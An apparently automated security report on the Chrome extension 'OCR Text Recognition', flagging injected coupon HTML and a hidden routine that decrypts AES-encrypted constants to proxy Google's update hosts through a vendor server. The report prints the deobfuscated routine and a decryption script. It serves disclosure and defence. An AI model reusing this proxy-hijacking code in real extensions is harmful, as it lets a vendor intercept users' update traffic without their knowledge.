Is OCR Text Recognition safe?

Medium risk

OCR Text Recognition injects coupon HTML from api.pictureknow.com into Taobao, Tmall, and JD product pages.

OCR Text Recognition loads coupon configuration from api.pictureknow.com on Taobao, Tmall, and JD product pages, then appends server-controlled button HTML into those pages. Its background update routine also checks api.pictureknow.com and can temporarily proxy Chrome update hosts through agency.pictureknow.com if its direct Google update probe fails.

tomxuxuv2.1.5Chrome Web Store
50Risk
Who publishes it

tomxuxu - 9 other listings from the same operator, 4 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
tomxuxu

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Update checker can proxy Google's own update servers through a vendor host

Code analysis shows the background script decrypts a hardcoded AES-256 key to build a proxy that reroutes clients2.google.com through agency.pictureknow.com when a version check reports an update and Google's server is unreachable.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

Every 180 minutes, and at every browser startup, the extension polls a vendor endpoint and, on a newer version, probes clients2.google.com.

If that probe fails and the browser's proxy setting is still controllable by the extension, it moves to install a proxy.

The extension did this

The extension decrypts a hardcoded AES-256 key to build a PAC script routing clients2.google.com and clients2.googleusercontent.com through agency.pictureknow.com.

It then forces a fresh update check through that proxy and removes the proxy setting shortly after.

Why you can't catch this in DevTools

The proxy target and the two Google hostnames it reroutes are stored as AES-256-CBC ciphertext in the shipped code, not as plaintext strings.

Decoded value
{  "protocol": "https",  "server": "agency.pictureknow.com",  "extension_update": "clients2.google.com",  "extension_update_address": "clients2.googleusercontent.com"}
The code that does this

The update-probe-and-proxy routine

Readable version
// Renamed from the class methods on `A` (the update controller) in background.js.// `t` = the update controller instance, `b` = the config object holding the// encrypted proxy constants, `w` = the AES helper (w.decrypte).update() {  // Probe Google's own extension-update host directly first.  fetch("https://clients2.google.com/").then(() => {    // Reachable: do nothing further this cycle.  }).catch(() => {    // Unreachable (or blocked) -> check whether this extension can set the    // browser's proxy at all.    chrome.proxy.settings.get({}, (settings) => {      if (settings.levelOfControl === "controlled_by_this_extension") {        this.forceCheckUpdate();      } else if (        settings.levelOfControl === "controllable_by_this_extension" &&        settings.value.mode === "system"      ) {        this.setProxy(() => this.forceCheckUpdate());      }    });  });}forceCheckUpdate() {  chrome.runtime.requestUpdateCheck(() => this.clearProxy());  // Belt-and-braces: also clear the proxy on its own 1-minute alarm.  Alarms.createAlarm("clear-proxy", 1);  Alarms.listen("clear-proxy", () => this.clearProxy());}clearProxy() {  chrome.proxy.settings.get({}, (settings) => {    if (settings.levelOfControl === "controlled_by_this_extension") {      chrome.proxy.settings.clear({});    }  });}setProxy(done) {  // Decrypt the vendor's own AES-256-CBC ciphertext embedded in config object `b`.  const protocol = crypto.decrypte(config.protocol);                 // "https"  const server   = crypto.decrypte(config.server);                   // "agency.pictureknow.com"  const updateHost    = crypto.decrypte(config.extension_update);            // "clients2.google.com"  const updateAddrHost = crypto.decrypte(config.extension_update_address);   // "clients2.googleusercontent.com"  const pacScript = {    mode: "pac_script",    pacScript: {      data: `let p = "${protocol}";let s = "${server}";` +            `function FindProxyForURL(u, h) {` +            `if (h == "${updateHost}") {return p + " " + s + "; DIRECT";}` +            `if (h == "${updateAddrHost}") {return p + " " + s + "; DIRECT";}` +            `return "DIRECT";}`    }  };  chrome.proxy.settings.set({ value: pacScript, scope: "regular" }, done);}
Where extension-update traffic can be rerouted
    • agency.pictureknow.com

    Vendor-controlled proxy target. Once installed, all requests to the two Google hosts below pass through this server instead of going directly to Google.

    • api.pictureknow.com

    Vendor-controlled version-check endpoint. Its response decides whether the probe-and-proxy routine runs at all.

Reproduce it yourself

Reproduces the extension's own AES-256-CBC scheme to decrypt the proxy configuration constants shipped in its background script.

Requires
  • Node.js 14+
decrypt-proxy-config.js · js
// Reproduces the extension's own AES-256-CBC scheme to decrypt the proxy// configuration constants embedded in its shipped background script.//// Key derivation observed in the shipped code://   keySeed = "1=" + "_" + "23" + "4a5" + "6e7" + "qW"  ->  "1=_234a56e7qW"//   The MD5 hex digest of keySeed is passed into CryptoJS.enc.Utf8.parse(),//   which stringifies it first -- so the AES key actually used is the//   32 ASCII characters of the MD5 hex digest (AES-256).//   IV is the literal ASCII string "q23-o6+21z34Q6M8" (16 bytes).const crypto = require('crypto');const keySeed = '1=' + '_' + '23' + '4a5' + '6e7' + 'qW';const md5Hex = crypto.createHash('md5').update(keySeed, 'utf8').digest('hex');const key = Buffer.from(md5Hex, 'utf8');const iv = Buffer.from('q23-o6+21z34Q6M8', 'utf8');function decrypt(b64) {  const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);  return Buffer.concat([decipher.update(Buffer.from(b64, 'base64')), decipher.final()]).toString('utf8');}// Ciphertext constants copied verbatim from the shipped extension code.const config = {  server: '3tJZbGljQMTh4BiwNY6RiP0p8zrtpuQog4e7vsoKjmA=',  protocol: 'LBgCRNF/XO5qKkMQjaUkug==',  extension_update: 'Sn3PKraH7Z6IZjWL4PXJCTzFsmAUJzFH/gYfjLZINqU=',  extension_update_address: 'MaOv/OAu8yLhX7CS0bSH+7blEGf331Zf8e1O7CbHbEY=',};const out = {};for (const [k, v] of Object.entries(config)) out[k] = decrypt(v);console.log('AES key (32-char MD5 hex digest):', key.toString('utf8'));console.log('IV:', iv.toString('utf8'));console.log('Decrypted config:', JSON.stringify(out, null, 2));// Reconstructs the exact PAC script the extension builds at runtime.const pac = `let p = "${out.protocol}";let s = "${out.server}";` +  `function FindProxyForURL(u, h) {` +  `if (h == "${out.extension_update}") {return p + " " + s + "; DIRECT";}` +  `if (h == "${out.extension_update_address}") {return p + " " + s + "; DIRECT";}` +  `return "DIRECT";}`;console.log('Reconstructed PAC script:', pac);
How to run it
  1. 1Save as decrypt-proxy-config.js.
  2. 2Run: node decrypt-proxy-config.js.
  3. 3Compare the printed PAC script to the one chrome.proxy.settings.set() installs at runtime.
On the live-trigger gap

Two live attempts, mocking the version check and blocking Google's update host, did not capture the proxy-install call firing. The finding is confirmed independently by reproducing the code's own decryption routine.

What it can do

Permissions this extension asks for, as declared in version 2.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Add items to the right-click menu

    contextMenus

  • Schedule its own background tasks

    alarms

  • Route all of your browsing through a server of its choosing

    proxy

  • See, disable and uninstall your other extensions, including your security ones

    management

  • Run its own code inside the pages you visit

    scripting

  • See the address and title of every tab you have open

    tabs

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed OCR Text Recognition contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • agency.pictureknow.com

    OCR Text Recognition sends data to agency.pictureknow.com. 7 other extensions we have analysed send data here.

  • api.pictureknow.com

    OCR Text Recognition sends data to api.pictureknow.com. 2 other extensions we have analysed send data here.

Updated 30 September 2026oldinjmajkejmhnnllhcaopbbfdlepgd